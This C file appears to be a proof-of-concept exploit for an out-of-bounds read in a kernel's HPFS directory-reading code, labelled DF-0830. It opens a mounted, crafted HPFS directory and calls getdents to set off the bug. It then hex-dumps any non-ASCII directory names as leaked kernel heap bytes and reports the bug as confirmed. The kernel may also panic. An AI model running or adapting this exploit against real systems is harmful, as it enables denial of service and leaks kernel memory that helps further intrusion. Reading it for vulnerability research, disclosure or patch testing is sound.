/*
 * DF-0830 — HPFS readdir dep-walk OOB trigger + detector.
 *
 * Opens a mounted malicious HPFS directory and calls getdents.  The dir
 * block has a dep whose de_reclen (0x0900) makes the kernel's dep pointer
 * walk 276 bytes past the 2 KB bread buffer.  Depending on what kernel
 * memory lies past the buffer this produces:
 *   (a) a kernel panic (page fault on unmapped OOB page), or
 *   (b) a heap info-leak (OOB kernel bytes returned as dirent names).
 *
 * This program dumps whatever getdents returns.  If it returns at all
 * (no panic), we scan the dirent names for non-ASCII / kernel-pointer-
 * looking bytes — evidence of the OOB read.  If it does NOT return, the
 * guest has panicked; the proof is in boot.log.
 *
 * Build:  cc -o poc poc.c
 * Run:    ./poc /mnt/hpfs
 */
#include <sys/types.h>
#include <dirent.h>
#include <fcntl.h>
#ifndef _DIRENT_DIRSIZ
#define _DIRENT_DIRSIZ(dp) \
    ((__offsetof(struct dirent, d_name) + (dp)->d_namlen + 1 + 7) & ~7)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>

#ifndef DT_UNKNOWN
#define DT_UNKNOWN 0
#endif

int main(int argc, char **argv)
{
    const char *mp = argc > 1 ? argv[1] : "/mnt/hpfs";
    int fd, n, off, suspect = 0;
    char buf[16384];

    printf("[*] opening %s O_RDONLY | O_DIRECTORY\n", mp);
    fd = open(mp, O_RDONLY | O_DIRECTORY);
    if (fd < 0) { perror("open"); return 2; }

    printf("[*] calling getdents — if the kernel panics here, check boot.log\n");
    n = getdents(fd, buf, sizeof(buf));
    if (n < 0) {
        perror("[!] getdents returned error");
        return 1;
    }
    if (n == 0) {
        printf("[*] getdents returned 0 entries (EOF) — no OOB observable\n");
        return 1;
    }
    printf("[*] getdents returned %d bytes\n", n);

    for (off = 0; off < n;) {
        struct dirent *de = (struct dirent *)(buf + off);
        int namelen = de->d_namlen;
        int is_suspect = 0;
        printf("  ino=%-10lu type=%d namelen=%-3d name='",
               (unsigned long)de->d_fileno, de->d_type, namelen);
        for (int i = 0; i < namelen && i < 255; i++) {
            unsigned char c = (unsigned char)de->d_name[i];
            if (c >= 32 && c < 127)
                putchar(c);
            else {
                printf("\\x%02x", c);
                is_suspect = 1;
            }
        }
        printf("'\n");
        /* hex-dump suspicious names */
        if (is_suspect || namelen > 40) {
            printf("    hex:");
            for (int i = 0; i < namelen && i < 255; i++)
                printf(" %02x", (unsigned char)de->d_name[i]);
            printf("\n");
            suspect++;
        }
        if (_DIRENT_DIRSIZ(de) == 0) break;  /* safety */
        off += _DIRENT_DIRSIZ(de);
    }

    if (suspect > 0) {
        printf("[!!!] DF-0830 CONFIRMED: %d dirent entries with non-ASCII "
               "or oversized names — OOB kernel heap bytes leaked past the "
               "2 KB bread buffer via the unbounded dep-walk\n", suspect);
        return 0;
    }
    printf("[*] entries look clean — OOB read may have hit the DE_END bit "
           "in adjacent memory (bug still present, just not observable here)\n");
    return 1;
}
